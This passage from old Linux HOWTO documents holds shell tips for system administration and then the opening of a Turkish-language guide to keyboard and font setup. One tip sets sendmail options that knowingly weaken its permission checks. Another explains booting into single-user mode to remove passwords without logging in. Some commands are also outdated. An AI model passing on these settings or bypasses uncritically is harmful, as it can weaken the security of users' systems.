                        elif [ -n  "`echo $MAILED | grep -w $DEVICE`" ] ; then
                                # Remove mailed marker if enough disk space
                                # again. So we are ready for new mailing action.
                                MAILEDH="`echo $MAILED  | sed s#$DEVICE##`"
                                MAILED=$MAILEDH
                        fi

                done
                sleep $SLEEPTIME

done

2.4 Util to clean up your logfiles. Paul Anderson, Tips-HOWTO Maintainer>

If you're like me, you have a list with 430 subscribers, plus 100+ messages per day coming in over UUCP. Well, what's a hacker to do with these huge logs? Install chklogs, that's what. Chklogs is written by Emilio Grimaldo, grimaldo@panama.iaehv.nl, and the current version 1.8 available from ftp.iaehv.nl:/pub/users/grimaldo/chklogs-1.8.tar.gz. It's pretty self explanatory to install(you will, of course, check out the info in the doc subdirectory). Once you've got it installed, add a crontab entry like this:

# Run chklogs at 9:00PM daily.
00 21 * * *       /usr/local/sbin/chklogs -m
While you're at it, mention to the author how nice a peice of software this is:)

2.5 Handy Script to Clean Up Corefiles. Otto Hammersmith, ohammers@cu-online.com

Create a file called rmcores(the author calls it handle-cores) with the following in it:

#!/bin/sh
USAGE="$0 <directory> <message-file>"

if [ $# != 2 ] ; then
        echo $USAGE
        exit
fi

 echo Deleting...
find $1 -name core -atime 7 -print -type f -exec rm {} \;

echo e-mailing
for name in `find $1 -name core -exec ls -l {} \; | cut -c16-24`
do
        echo $name
        cat $2 | mail $name
done

And have a cron job run it every so often.

2.6 Moving directories between filesystems. Alan Cox, A.Cox@swansea.ac.uk

Quick way to move an entire tree of files from one disk to another

(cd /source/directory && tar cf - . ) | (cd /dest/directory && tar xvfp -)
[ Change from cd /source/directory; tar....etc. to prevent possibility of trashing directory in case of disaster. Thanks to Jim Dennis, jim@starshine.org, for letting me know. -Maint. ]

2.7 Finding out which directories are the largest. Mick Ghazey, mick@lowdown.com

Ever wondered which directories are the biggest on your computer? Here's how to find out.

du -S | sort -n

2.8 The Linux Gazette

Kudos go to John Fisk, creator of the Linux Gazette. This is an excellent e-zine plus, it's FREE!!! Now what more could you ask? Check it out at:

http://www.linuxgazette.com
BTW, It turns out that (1) LG is now out on a monthly basis, and (2) John Fisk no longer maintains it, the fellows at SSC do.

2.9 Pointer to patch for GNU Make 3.70 to change VPATH behavior. Ted Stern, stern@amath.washington.edu

I don't know if many people have this problem, but there is a "feature" of GNU make version 3.70 that I don't like. It is that VPATH acts funny if you give it an absolute pathname. There is an extremely solid patch that fixes this, which you can get from Paul D. Smith <psmith@wellfleet.com>. He also posts the documentation and patch after every revision of GNU make on the newsgroup "gnu.utils.bug" Generally, I apply this patch and recompile gmake on every system I have access to.

2.10 How do I stop my system from fscking on each reboot? Dale Lutz, dal@wimsey.com

Q: How do I stop e2fsck from checking my disk every time I boot up.

A: When you rebuild the kernel, the filesystem is marked as 'dirty' and so your disk will be checked with each boot. The fix is to run:

rdev -R /zImage 1

This fixes the kernel so that it is no longer convinced that the filesystem is dirty.

Note: If using lilo, then add read-only to your linux setup in your lilo config file (Usually /etc/lilo.conf)

2.11 How to avoid fscks caused by "device busy" at reboot time. Jon Tombs, jon@gtex02.us.es

If you often get device busy errors on shutdown that leave the filesystem in need of an fsck upon reboot, here is a simple fix:

To /etc/rc.d/init.d/halt or /etc/rc.d/rc.0, add the line

mount -o remount,ro /mount.dir
for all your mounted filesystems except /, before the call to umount -a. This means if, for some reason, shutdown fails to kill all processes and umount the disks they will still be clean on reboot. Saves a lot of time at reboot for me.

2.12 How to find the biggest files on your hard-drive.

Simon Amor, simon@foobar.co.uk

ls -l | sort +4n

Or, for those of you really scrunched for space this takes awhile but works great:

cd /
ls -lR | sort +4n

2.13 How to print pages with a margin for hole punching. Mike Dickey, mdickey@thorplus.lib.purdue.edu

        #!/bin/sh
        # /usr/local/bin/print
        # a simple formatted printout, to enable someone to
        # 3-hole punch the output and put it in a binder

        cat $1 | pr -t -o 5 -w 85 | lpr

2.14 A way to search through trees of files for a particular regular expression. Raul Deluth Miller, rockwell@nova.umd.edu

I call this script 'forall'. Use it like this:

forall /usr/include grep -i ioctl
forall /usr/man grep ioctl
Here's forall:
#!/bin/sh
if [ 1 = `expr 2 \> $#` ]
then
        echo Usage: $0 dir cmd [optargs]
        exit 1
fi
dir=$1
shift
find $dir -type f -print | xargs "$@"

2.15 A script for cleaning up after programs that create autosave and backup files. Barry Tolnas, tolnas@nestor.engr.utk.edu

Here is a simple two-liner which recursively descends a directory hierarchy removing emacs auto-save (#) and backup (~) files, .o files, and TeX .log files. It also compresses .tex files and README files. I call it 'squeeze' on my system.

#!/bin/sh
#SQUEEZE removes unnecessary files and compresses .tex and README files
#By Barry tolnas, tolnas@sun1.engr.utk.edu
#
echo squeezing $PWD
find  $PWD \( -name \*~ -or -name \*.o -or -name \*.log -or -name \*\#\) -exec
rm -f {} \;
find $PWD \( -name \*.tex -or -name \*README\* -or -name \*readme\* \) -exec gzip -9 {} \;

2.16 How to find out what process is eating the most memory. Simon Amor, simon@foobar.co.uk

ps -aux | sort +4n
-OR-
ps -aux | sort +5n

2.17 Rigging vi for C programming, Paul Anderson,Tips-HOWTO Maintainer

I do a lot of C programming in my spare time, and I've taken the time to rig vi to be C friendly. Here's my .exrc:

set autoindent
set shiftwidth=4
set backspace=2
set ruler

What does this do? autoindent causes vi to automatically indent each line following the first one indented, shiftwidth sets the distance of ^T to 4 spaces, backspace sets the backspace mode, and ruler makes it display the line number. Remember, to go to a specific line number, say 20, use:

vi +20 myfile.c

2.18 Using ctags to ease programming.

Most hackers already have ctags on their computers, but don't use it. It can be very handy for editing specific functions. Suppose you have a function, in one of many source files in a directory for a program you're writing, and you want to edit this function for updates. We'll call this function foo(). You don't where it is in the source file, either. This is where ctags comes in handy. When run, ctags produces a file named tags in the current dir, which is a listing of all the functions, which files they're in and where they are in said files. The tags file looks like this:

ActiveIconManager       iconmgr.c       /^void ActiveIconManager(active)$/
AddDefaultBindings      add_window.c    /^AddDefaultBindings ()$/
AddEndResize    resize.c        /^AddEndResize(tmp_win)$/
AddFuncButton   menus.c /^Bool AddFuncButton (num, cont, mods, func, menu, item)$/
AddFuncKey      menus.c /^Bool AddFuncKey (name, cont, mods, func, menu, win_name, action)$/
AddIconManager  iconmgr.c       /^WList *AddIconManager(tmp_win)$/
AddIconRegion   icons.c /^AddIconRegion(geom, grav1, grav2, stepx, stepy)$/
AddStartResize  resize.c        /^AddStartResize(tmp_win, x, y, w, h)$/
AddToClientsList        workmgr.c       /^void AddToClientsList (workspace, client)$/
AddToList       list.c  /^AddToList(list_head, name, ptr)$/

To edit, say AddEndResize() in vim, run:

vim -t AddEndResize
This will bring the appropriate file up in the editor, with the cursor located at the beginning of the function.

2.19 Why does sendmail hang for 5 minutes on startup with RedHat? Paul Anderson, paul@geeky1.ebtech.net

This is a fairly common problem, almost to the point of being a FAQ. I don't know if RedHat has fixed this bug in their distribution, but you can repair it yourself. If you look in your /etc/hosts file, you will find it looks something like:

127.0.0.1               localhost       yourbox

When sendmail starts, it does a lookup on your hostname(in this example, yourbox). It then finds that the IP for yourbox is 127.0.0.1, sendmail doesn't like this, so it does the lookup again. It continues with this for a while until it eventually gives up and exits. Fixing the problem is extremely easy, edit your /etc/hosts file and change it to something like this:

127.0.0.1               localhost
10.56.142.1             yourbox

2.20 How do I configure RedHat for using color-ls? Paul Anderson, paul@geeky1.ebtech.net

RedHat's distribution comes with color-ls, however why they don't configure it for colour use by default is beyond me. Here's to fix it.

First, type eval `DIRCOLORS`

Next, alias ls='ls --color=auto'

And put the 'alias.....' in your /etc/bashrc

2.21 How do I find which library in /usr/lib holds a certain function? Pawel Veselow, vps@unicorn.niimm.spb.su

What if you're compiling and you've missed a library that needed linking in? All gcc reports are function names... Here's a simple command that'll find what you're looking for:

for i in *; do echo $i:;nm $i|grep tgetnum 2>/dev/null;done

Where tgetnum is the name of the function you're looking for.

2.22 I compiled a small test program in C, but when I run it, I get no output!

You probably compiled the program into a binary named test, didn't you? Linux has a program called test, which tests if a certain condition is true, it never produces any output on the screen. Instead of just typing test, try: ./test


The Linux Tips HOWTO: Detailed Tips

 Next Previous Contents

3. Detailed Tips

3.1 Sharing swap partitions between Linux and Windows. Tony Acero, ace3@midway.uchicago.edu

  1. Format the partition as a dos partition, and create the Windows swap file on it, but don't run windows yet. (You want to keep the swap file completely empty for now, so that it compresses well).
  2. Boot linux and save the partition into a file. For example if the partition was /dev/hda8:
    dd if=/dev/hda8 of=/etc/dosswap
  3. Compress the dosswap file; since it is virtually all 0's it will compress very well
    gzip -9 /etc/dosswap
  4. Add the following to the /etc/rc file to prepare and install the swap space under Linux: XXXXX is the number of blocks in the swap partition
    mkswap /dev/hda8 XXXXX
swapon -av
    Make sure you add an entry for the swap partition in your /etc/fstab file
  5. If your init/reboot package supports /etc/brc or /sbin/brc add the following to /etc/brc, else do this by hand when you want to boot to dos|os/2 and you want to convert the swap partition back to the dos/windows version:
swapoff -av
zcat /etc/dosswap.gz | dd of=/dev/hda8 bs=1k count=100
# Note that this only writes the first 100 blocks back to the partition. I've found empirically that this is sufficient

>> What are the pros and cons of doing this?

Pros: you save a substantial amount of disk space.

Cons: if step 5 is not automatic, you have to remember to do it by hand, and it slows the reboot process by a nanosecond :-)

3.2 Desperate Undelete. Michael Hamilton, michael@actrix.gen.nz

Here's a trick I've had to use a few times.

Desperate person's text file undelete.

If you accidentally remove a text file, for example, some email, or the results of a late night programming session, all may not be lost. If the file ever made it to disk, ie it was around for more than 30 seconds, its contents may still be in the disk partition.

You can use the grep command to search the raw disk partition for the contents of file.

For example, recently, I accidentally deleted a piece of email. So I immediately ceased any activity that could modify that partition: in this case I just refrained from saving any files or doing any compiles etc. On other occasions, I've actually gone to the trouble of bring the system down to single user mode, and unmounted the filesystem.

I then used the egrep command on the disk partition: in my case the email message was in /usr/local/home/michael/, so from the output from df, I could see this was in /dev/hdb5

  sputnik3:~ % df
    Filesystem         1024-blocks  Used Available Capacity Mounted on
    /dev/hda3              18621    9759     7901     55%   /
    /dev/hdb3             308852  258443    34458     88%   /usr
    /dev/hdb5             466896  407062    35720     92%   /usr/local

    sputnik3:~ % su
    Password:
    [michael@sputnik3 michael]# egrep -50 'ftp.+COL' /dev/hdb5 > /tmp/x
Now I'm ultra careful when fooling around with disk partitions, so I paused to make sure I understood the command syntax BEFORE pressing return. In this case the email contained the word 'ftp' followed by some text followed by the word 'COL'. The message was about 20 lines long, so I used -50 to get all the lines around the phrase. In the past I've used -3000 to make sure I got all the lines of some source code. I directed the output from the egrep to a different disk partition - this prevented it from over writing the message I was looking for.

I then used strings to help me inspect the output

   strings /tmp/x | less
Sure enough the email was in there.

This method can't be relied on, all, or some, of the disk space may have already been re-used.

This trick is probably only useful on single user systems. On multi-users systems with high disk activity, the space you free'ed up may have already been reused. And most of use can't just rip the box out from under our users when ever we need to recover a file.

On my home system this trick has come in handy on about three occasions in the past few years - usually when I accidentally trash some of the days work. If what I'm working survives to a point where I feel I made significant progress, it get's backed up onto floppy, so I haven't needed this trick very often.

3.3 How to use the immutable flag. Jim Dennis, jadestar@rahul.net

Use the Immutable Flag

Right after you install and configure your system go through the /bin, /sbin/, /usr/bin, /usr/sbin and /usr/lib (and a few of the other usual suspects and make liberal use of the 'chattr +i command'. Also add that to the the kernel files in root. Now 'mkdir /etc/.dist/' copy everything from /etc/ on down (I do this in two steps using /tmp/etcdist.tar to avoid recursion) into that directory. (Optionally you can just create /etc/.dist.tar.gz) -- and mark that as immutable.

The reason for all of this is to limit the damage that you can do when logged in as root. You won't overwrite files with a stray redirection operator, and you won't make the system unusable with a stray space in an 'rm -fr' command (you might still do alot of damage to your data -- but your libs and bins will be safer.

This also makes a variety of security and denial of service exploits either impossible or more difficult (since many of them rely on overwriting a file through the actions of some SUID program that *isn't providing an arbitrary shell command*).

The only inconvenience of this is when building and doing your 'make install' on various sorts of system binaries. On the other hand it also prevents the 'make install' from over-writing the files. When you forget to read the Makefile and chattr -i the files that are to be overwritten (and the directories to which you want to add files) -- the make fails, you just use the chattr command and rerun it. You can also take that opportunity to move your old bin's, libs, or whatever into a .old/ directory or rename or tar them or whatever.

3.4 A suggestion for where to put new stuff. Jim Dennis, jadestar@rahul.net

All new stuff starts under /usr/local! or /usr/local/`hostname`

If your distribution is one that leaves /usr/local empty then just create your /usr/local/src, /usr/local/bin etc and use that. If your distribution puts things in the /usr/local tree than you may want to 'mkdir /usr/local/`hostname`' and give the 'wheel' group +w to it (I also make it SUID and SGID to insure that each member of the wheel group can only mess with their own files thereunder, and that all files created will belong to the 'wheel' group.

Now discipline yourself to *ALWAYS! ALWAYS! ALWAYS!* put new packages under /usr/local/src/.from/$WHEREVER_I_GOT_IT/ (for the .tar or whatever files) and build them under /usr/local/src (or .../$HOSTNAME/src). Make sure that it installs under the local hierarchy. If it *absolutely must* be installed back in /bin or /usr/bin or somewhere else -- put a symlink from the local heirarchy to each element that when anywhere else.

The reason for this -- even though it's more work -- is that it helps isolate what has to be backed up and restored or reinstalled in the event of a full re-install from the distribution medio (usually CD these days). By using a /usr/local/.from directory you also keep an informal log of where your sources are coming from -- which helps when you're looking for new updates -- and may be critical when monitoring the security announcement lists.

One of my systems at home (the one I'm calling from) was put together before I adopted these policies for myself. I still don't "know" all the ways that it differs from the stock "as installed" system. This is despite the fact that I've done very little with my home system's configuration and I'm the *only* person who ever uses it.

By contrast the systems I've set up at work (when I was thrust into the role of system administrator there) have all been configured this way -- have been administered by many contractors and other MIS people, and have had a large number of upgrades and package installations. Nonetheless I have a very good idea which precise elements were put in *after* the initial installation and configuration.

3.5 Converting all files in a directory to lowercase. Justin Dossey, dossey@ou.edu

I noticed a few overly difficult or unnecessary procedures recommended in the 2c tips section of Issue 12. Since there is more than one, I'm sending it to you:

#!/bin/sh
         # lowerit
         # convert all file names in the current directory to lower case
         # only operates on plain files--does not change the name of directories
         # will ask for verification before overwriting an existing file
         for x in `ls`
           do
           if [ ! -f $x ]; then
             continue
             fi
           lc=`echo $x  | tr '[A-Z]' '[a-z]'`
           if [ $lc != $x ]; then
             mv -i $x $lc
           fi
           done
Wow. That's a long script. I wouldn't write a script to do that; instead, I would use this command:
for i in * ; do [ -f $i ] && mv -i $i `echo $i | tr '[A-Z]' '[a-z]'`;
done;
on the command line.

The contributor says he wrote the script how he did for understandability (see below).

On the next tip, this one about adding and removing users, Geoff is doing fine until that last step. Reboot? Boy, I hope he doesn't reboot every time he removes a user. All you have to do is the first two steps. What sort of processes would that user have going, anyway? An irc bot? Killing the processes with a simple

kill -9 `ps -aux |grep ^<username> |tr -s " " |cut -d " " -f2`
Example, username is foo
kill -9 `ps -aux |grep ^foo |tr -s " " |cut -d " " -f2`
That taken care of, let us move to the forgotten root password.

The solution given in the Gazette is the most universal one, but not the easiest one. With both LILO and loadlin, one may provide the boot parameter "single" to boot directly into the default shell with no login or password prompt. From there, one may change or remove any passwords before typing "init 3" to start multiuser mode. Number of reboots: 1 The other way Number of reboots: 2

Justin Dossey

3.6 How To Upgrade Sendmail Paul Anderson, paul@geeky1.ebtech.net

We're starting from raw, clean source. First, obtain the sendmail source code. I've d/led version 8.9.0, which is, as you will notice, bleeding edge. I grabbed it from ftp.sendmail.org:/pub/sendmail/sendmail.8.9.0.tar.gz

It's about 1Meg, and considering I'm running 8.7.6, I think it's worth the effort. If this works, you'll undoubtedly hear about it, elsewise I can't get the new HOWTO versions out without e-mail:)

Now, once you've got the source d/led, unpack it. It'll create a dir called sendmail-8.9.0 in the current directory. Change into that directory, read the README and RELEASE_NOTES files(and be amazed at the updates they've done). Now, cd in src. This is where most of your work will be done.

A quick note: Sendmail is a small, powerful and well-written program. The sendmail binary itself compiled in less than 5 minutes on my 5x86 133 with 32Megs RAM! The entire compile and install(sans config) took under 15 minutes!

I don't normally run BIND on my system, so I found the lines:

# ifndef NAMED_BIND
#  define NAMED_BIND    1       /* use Berkeley Internet Domain Server */
# endif

and changed the 1 to a 0, ala:

# ifndef NAMED_BIND
#  define NAMED_BIND    0       /* use Berkeley Internet Domain Server */
# endif

On Debian 1.3.1, db.h is by default installed in /usr/include/db, instead of /usr/include, where sendmail hopes to find it. Change to the src, mailstats, makemap, praliases, rmail and smrsh directories and execute the following command:

 ./Build -I/usr/include/db

Once you've done that, cd .. and type make install. There! Sendmail version 8.9.0 should now be installed! This is, of course, assuming you already have your original configuration. For everything to work smoothly on my system, since I host free mailing lists for people using majordomo, I had to add the following to the beginning of my /etc/sendmail.cf:

O DontBlameSendmail=forwardfileinunsafedirpath, forwardfileinunsafedirpathsafe

Sendmail 8.9.0 is rather pedantic about directory and file permissions these days, and will complain about dirs and files in aliases or .forward files that are group or world writeable. While it's not a good idea to disable this pedantry, I am only running with a single person at the console and I felt it was okay to allow this minor security hole. YMMV.

3.7 Some tips for new sysadmins. Jim Dennis, jadestar@rahul.net

Create and maintain a /README.`hostname` and/or a /etc/README.`hostname` [Or possibly /usr/local/etc/README.`hostname` -Maint. ]

Absolutely, from *day one* of administering a system take notes in an online log file. You might make "vi /README.$(hostname)" a line in root's /bash_logout. Another way to do this is to write an su or a sudo script that does something like:

                function exit \
                        { unset exit; exit; \
                          cat ~/tmp/session.$(date +%y%m%d) \
                          >> /README.$(hostname) && \
                          vi /README.$(hostname)
                          }
                script -a ~/tmp/session.$(date +%y%m%d)
                /bin/su.org -

(use the typescript command to create a session log and create a function to automate appending and updating the log).

I'll admit that I haven't implemented this automation of policy -- I've just relied on self-discipline so far. However I have been toying with the idea (even to the point of prototyping the scripts and shell functions as you see them). One thing that holds me back on this is the 'script' command itself. I think I'll have to grab the sources and add a couple of command line parameters (to pause/stop the script recording from the command line) before I commit to using this).

My last suggestion (for this round):

Root's path should consist of 'PATH= /bin'

That's it. Nothing else on root's path. Everything root does is provided by a symlink from /bin or by an alias or shell function, or is a script or binary in /bin, or is typed out with an explicit path.

This makes anyone running as root aware (sometimes painfully so) of how he or she is trusting binaries. The wise admin of a multi-user host will periodically look through his or here /bin and /.*history files to look for patterns and loopholes.

The really motivated admin will spot sequences that can be automated, places where sanity checks can be inserted, and tasks for which "root" privileges should be temporarily eschewed (launching editors, MTA's and other large interactive programs with elaborate scripting features that *might* be embedded in transparent or data files -- like the infamous vi ./.exrc and emacs ./.emacs and the even more insidous $EXINIT and the embedded header/footer macros). Naturally those sorts of commands can be run with something like:

                cp $data $some_users_home/tmp
                su -c $origcommand $whatever_switches
                cp $some_users_home/tmp $data
(...where the specifics depend on the command).

Mostly these last sorts of precautions are overboard for the home or "single" user workstation -- but they are very good policy the admin of a multi-user -- particular a publicly exposed system (like the one's at netcom).

3.8 How to configure xdm's chooser for host selection. Arrigo Triulzi, a.triulzi@ic.ac.uk

  1. Edit the file that launches xdm most likely /etc/rc/rc.6 or /etc/rc.local) so that it contains the following lines in the xdm startup section.

/usr/bin/X11/xdm
exec /usr/bin/X11/X -indirect hostname
  2. Edit /usr/lib/X11/xdm/Xservers and comment out the line which starts the server on the local machine (i.e. starting 0:)
  3. Reboot the machine and you're home and away.

I add this because when I was, desperately, trying to set it up for my own subnet over here it took me about a week to suss out all the problems.

Caveat: with old SLS (1.1.1) for some reason you can leave a -nodaemon after the xdm line -- this does NOT work for later releases.


Turkish-HOWTO

Görkem Çetin, gorkem@gelecek.com.tr

v1.0, 21 September 1999

Bu belge, Linux iþletim sistemi altýndaki Türkçe sorunlarýna çözüm getirmek amacýyla, mevcut Türkçe desteðinin nasýl kullanýlabileceðini anlatýyor.

1. Giriþ

  • 1.1 Sürüm deðiþiklikleri

2. HOWTO belgeleri

  • 2.1 Tüm HOWTO belgelerini nerede bulabilirim?

3. Klavye ayarlarý

  • 3.1 Klavye tuþ takýmý yüklenmesi
  • 3.2 Bu tuþtakýmlarýný nerede bulabilirim?

4. Metin ekran (konsol) yazýtiplerinin yüklenmesi

  • 4.1 Son düzeltmeler

5. Çeþitli uygulamalarda Türkçe kullanýmý

  • 5.1 Pine
  • 5.2 Netscape
  • 5.3 KDE altýnda Türkçe
  • 5.4 kvt
  • 5.5 GNOME altýnda Türkçe

6. Zaman dilimi ayarlarý

7. X Window desteði

  • 7.1 X Window Türkçe yazýtiplerinin yüklenmesi
  • 7.2 X Window altýnda Türkçe klavye kullanýlmasý

8. Yapýlacaklar


Turkish-HOWTO: Giriþ

 Next Previous Contents

1. Giriþ

Bu belge, Linux ve bazý özel durumlarda UNIX iþletim sisteminde Türkçe kullanabilmek için gereken eklemeler hakkýnda okuyucuyu bilgilendirmek için yazýldý. Türkçe'ye ait olan latin5, bir baþka adýyla ISO8859-9 standardýnýn, Amerika ve bazý Avrupa ülkelerince kullanýlan latin1 standardý ile ayný olmamasý nedeniyle sadece Linux deðil, hemen hemen tüm iþletim sistemlerinde bu sorunu fazlasýyla yaþýyor olmalýsýnýz. Ýleride ele alýnacak konular ile bu sýkýntýlarýn pek çoðunu atlatacaðýnýzý ümit ediyorum. Eðer metin ekranda, X Window altýnda Türkçe yazamýyor ve okuyamýyorsanýz, pine ve Netscape gibi uygulamalarda Türkçe karakterleri göremiyorsanýz bizi izlemeye devam edin.

Bu belgedeki çözüm denemelerimi Red Hat Linux ile yaptým. Çalýþmayan, eksik bilgi içeren ya da eklenmesinde fayda gördüðünüz bir bölüm gördüðünüzde gorkem@gelecek.com.tr adresine bir ileti yollamanýz yeterlidir. Özellikle diðer Linux daðýtýmlarýnda yapýlacak iþlemler farklý olabilir, bu nedenle çeþitli Linux daðýtýmlarýnda karþýlaþtýðýnýz çözümleri bana gönderebilirsiniz.

1.1 Sürüm deðiþiklikleri

Sürüm 1.0 : Turkish-HOWTO'nun yazýlmasý. Hala belirli alanlarda Türkçe sorunlarý yaþadýðýmdan dolayý bu belgenin 1.0 sürümde kalmayacaðýný ümit ediyorum. Dosya, birtakým alanlarda eksiklikler içerebilir. Burada görmek istediðiniz ne varsa bana bir ileti gönderin. Tüm mektuplarýnýza cevap vermeye çalýþacaðým.


Turkish-HOWTO: HOWTO belgeleri

 Next Previous Contents

2. HOWTO belgeleri

Linux'un HOWTO belgeleri, Linux meraklýlarý tarafýndan biraraya getirilmiþ ve hepsi belirli bir konuyu ele alan inceleme yazýlarýndan oluþuyor. Hem teorik, hem de pratik çözümler içeren bu belgeleri tüm Linux kullanýcýlarýnýn okumalarýný tavsiye ederim.

2.1 Tüm HOWTO belgelerini nerede bulabilirim?

  • Daðýtýmla birlikte : Eðer çalýþýr durumda bir Linux daðýtýmýnýz varsa, bazý durumlarda güncelliðini kýsmen yitirmiþ, ancak deðerli bilgiler içeren belgelere /usr/doc dizininden eriþebilirsiniz. Buradaki HOWTO dizini altýnda ise tahmin edebileceðiniz gibi HOWTO belgelerini bulabilirsiniz.
  • Eðer HOWTO belgelerini kurmamýþsanýz, ya da elinizde bir Linux daðýtýmý yoksa en yakýn sunsite arþivinden de bu belgeleri almanýz mümkün: www.metu.edu.tr/ldp/HOWTO

Türkçe-NASIL belgeleri

Bazý HOWTO belgelerinin çevrilmesi sonucu oluþturulan Türkçe Linux-NASIL sayfalarýna www.linux.org.tr adresinden ulaþabilirsiniz.

Diðer Türkçe kaynaklar

  • Türkiye Linux Kullanýcýlarý Grubu, www.linux.org.tr
  • Gelecek Biliþim ve Ýletiþim A.Þ, www.gelecek.com.tr

Haber öbekleri :

  • news.pcmagazine.com.tr (pcmag.linux)
  • news.istanbul.edu.tr (tr.bilgisayar.isl-sistemleri.linux)

Kitaplar :

Türkiye'de Linux ile ilgili çýkmýþ tüm yayýnlara www.gelecek.com.tr adresinden ulaþabilirsiniz.


Turkish-HOWTO: Klavye ayarlarý

 Next Previous Contents

3. Klavye ayarlarý

Bu bölümde, metin ekranda Türkçe yazmak için gerekli programlarý inceleyeceðiniz. Bunlardan ilki, bilgisayara Türkçe klavye tuþ takýmý haritasýný gösterecek olan loadkeys komutudur. loadkeys komutu ve uygun bir Türkçe klavye daðýlýmý haritasý yardýmýyla istediðimiz bir Türkçe klavyeyi (Q Türkçe, F Türkçe gibi) yükleyebiliriz.

3.1 Klavye tuþ takýmý yüklenmesi

loadkeys komutunun kullanýmý çok basittir. Daðýtýmýnýzda bulunan ve /usr/lib/kbd/keymaps/i386 dizini altýna yerleþtirilmiþ olan klavye haritalarýndan bir tanesini seçin. Aslýnda klavye haritalarýnýn adýný bilmek zorunda deðilsiniz, burada kullanabileceðiniz dosyalarý ve ne tip bir klavyeyi yüklediklerini görebilirsiniz:

  • trq.map : Türkçe Q klavye
  • trf.map : Türkçe F klavye
  • tralt.map : Bu klavye ile, ALT tuþu ile birlikte bastýðýnýz bir karakterin karþýlýðý olan Türkçe karakter ekranda belirecektir. Örnek olarak ALT ve "c" karakterlerine bastýðýnýz zaman "ç", ALT ve "G" karakterlerine bastýðýnýzda ise "Ð" harfi görülecektir. Bu klavye daðýlýmý, Q klavyeye alýþkýn, ancak arada bir Türkçe yazmak isteyenler için ideal görününüyor. Ancak hýzlý kullanmak için biraz zaman istiyor.

Þimdi loadkeys komutunu birkaç örnekte kullanalým:

$ loadkeys trq.map                 (Türkçe Q klavye haritasýný yükle)
$ loadkeys trf.map                 (Türkçe F klavye haritasýný yükle)
$ loadkeys tralt.map               (Türkçe F klavye haritasýný yükle)

Eðer normal US klavye haritasýna dönmek isterseniz, defkeymap klavye eþlem dosyasýný kullanýn.

$ loadkeys defkeymap

Yapýlan tüm iþlemler tüm sistemde etkin olacaktýr. Bir kullanýcý çalýþma yaptýktan sonra sistem kapanýncaya, ya da baþka bir klavye daðýlýmý yüklenince deðin klavye düzeni ayný kalýr.

Not: Çoðu Linux daðýtýmlarýnda bulunan kbd paketi sistemde kullanýlabilecek klavye eþlem (daðýlým) dosyalarýný ve yazýtiplerini içerir. Son zamanlarda, diskten tasarruf saðlamak amacýyla hem yazýtipi, hem de klavye eþlem dosyalarý sýkýþtýrýlarak kullanýlmaktadýr. Bu tip sýkýþtýrýlmýþ dosyalarýn sonu .gz ile biter (örneðin trq.map.gz). loadkeys ve setfont komutlarý herhangi bir sorunla karþýlaþmadan bu dosyalarý okuyabilecek ve gerekli iþlemleri yapacaktýr.

3.2 Bu tuþtakýmlarýný nerede bulabilirim?

Eðer kullandýðýnýz daðýtýmda trq.map, trf.map ya da tralt.map klavye eþlem dosyalarýný bulamýyorsanýz ve yukarýdaki komutlarý iþlerken hata mesajý alýyorsanýz, ftp.gelecek.com.tr adresinden bu dosyalarý indirmeniz mümkündür.

Dilediðiniz klavye düzenini, Red Hat daðýtýmýnda yeralan /etc/sysconfig/keyboard dosyasýna ekleyebilirsiniz. Kullanabileceðiniz dosya isimlerinden bazýlarý trq, trf ve tralt'týr.


Turkish-HOWTO: Metin ekran (konsol) yazýtiplerinin yüklenmesi

 Next Previous Contents

4. Metin ekran (konsol) yazýtiplerinin yüklenmesi

Metin ekranda Türkçe görebilmek için birkaç iþleme daha ihtiyacýmýz var. Bunlardan ilki Türkçe karakterleri içeren yazýtiplerinin yüklenmesi. Bir yazýtipini yüklemek için setfont komutunu kullanýyoruz.

$ setfont latin5u-16.psf.gz

Yukarýdaki komut /usr/lib/kbd/consolefonts dizini altýndaki latin5u-16.psf.gz yazýtipi dosyasýný yükledi. Bu dizin altýnda yeralan, ya da yukarýda belirttiðim ftp adresinden indirdiðiniz ve adý latin5 ile baþlayan tüm yazýtipleri Türkçe karakterler içerir. Birkaç deneme de siz yapýn. Özellikle latin5u-12 ve latin5u-14 dosyalarý daha küçük yazýtipi içerir ve ekranda ayný anda daha çok karakter görüntüleyerek çalýþma alanýnýzý geniþletir.

Metin ekranda kullanabileceðiniz tüm Türkçe yazýtiplerini ftp.gelecek.com.tr dizini altýnda bulabilirsiniz.

4.1 Son düzeltmeler

Atýlmasý gereken birkaç adým daha kaldý. Önce /etc/inputrc dosyasý içine aþaðýdaki satýrlarý ekleyin. Eðer dosya yoksa kendiniz oluþturun.

set input-meta on
set convert-meta off
set output-meta on

Ardýndan /etc/profile dosyasýnýn sonuna, aþaðýdaki satýrlarý ekleyin.

export INPUTRC=/etc/inputrc

Artýk rahatlýkla bash komut satýrý altýnda Türkçe yazabilir ve okuyabilirsiniz. Yukarýda yapýlan iþlemleri eðer /etc/rc.d/rc.local dosyasýna eklerseniz, herkes için tanýmlý bir klavye eþlem dosyasý ve yazýtipi yaratmýþ olursunuz:

setfont latin5u-16.psf
loadkeys trq.map.gz


Turkish-HOWTO: Çeþitli uygulamalarda Türkçe kullanýmý

 Next Previous Contents

5. Çeþitli uygulamalarda Türkçe kullanýmý

5.1 Pine

Pine ile Türkçe ileti göndermek ve almak istiyorsanýz, .pinerc dosyasýnda, character-set deðiþkeninin karþýsýnda, aþaðýdaki deðiþikliði yapmanýz gerekiyor:

# Reflects capabilities of the display you have. Default: US-ASCII.
# Typical alternatives include ISO-8859-x, (x is a number between 1 and 9).
character-set=ISO-8859-9

Yukarýdaki deðiþiklikleri yaptýktan sonra, pine ile kolayca Türkçe karakterler içeren e-posta yollayabilirsiniz.

5.2 Netscape

Netscape'te yazýtipi seçimi için, Edit - Preferences - Appearance - Fonts - For the Encoding menüsüne gidin ve buradan ``Turkish (iso-8859-9)'' seçeneðini iþaretleyin. Daha aþaðýda yeralan ``Use my default fonts, overriding document-specified fonts'' seçeneðini iþaretlemeniz halinde ise Netscape, sadece sizin belirttiðiniz yazýtiplerini ekranda gösterecektir. Yine de Netscape ile Türkçe yazýtiplerini görmekte sýkýntý çekerseniz View -> Encoding -> Turkish (ISO-8859-9) seçeneðini iþaretlemelisiniz.

Genel kural olarak yazýtipini seçmenize izin veren tüm yazýlýmlarda Türkçe yazýtiplerini kullanabilirsiniz.

5.3 KDE altýnda Türkçe

KDE pencere arayüzünün büyük bir kýsmý Türkçeye çevrildi. 1.0 sürümünden itibaren gelen Türkçe desteði ile pek çok uygulama yazýlýmýný Türkçe çalýþtýrabiliyorsunuz.

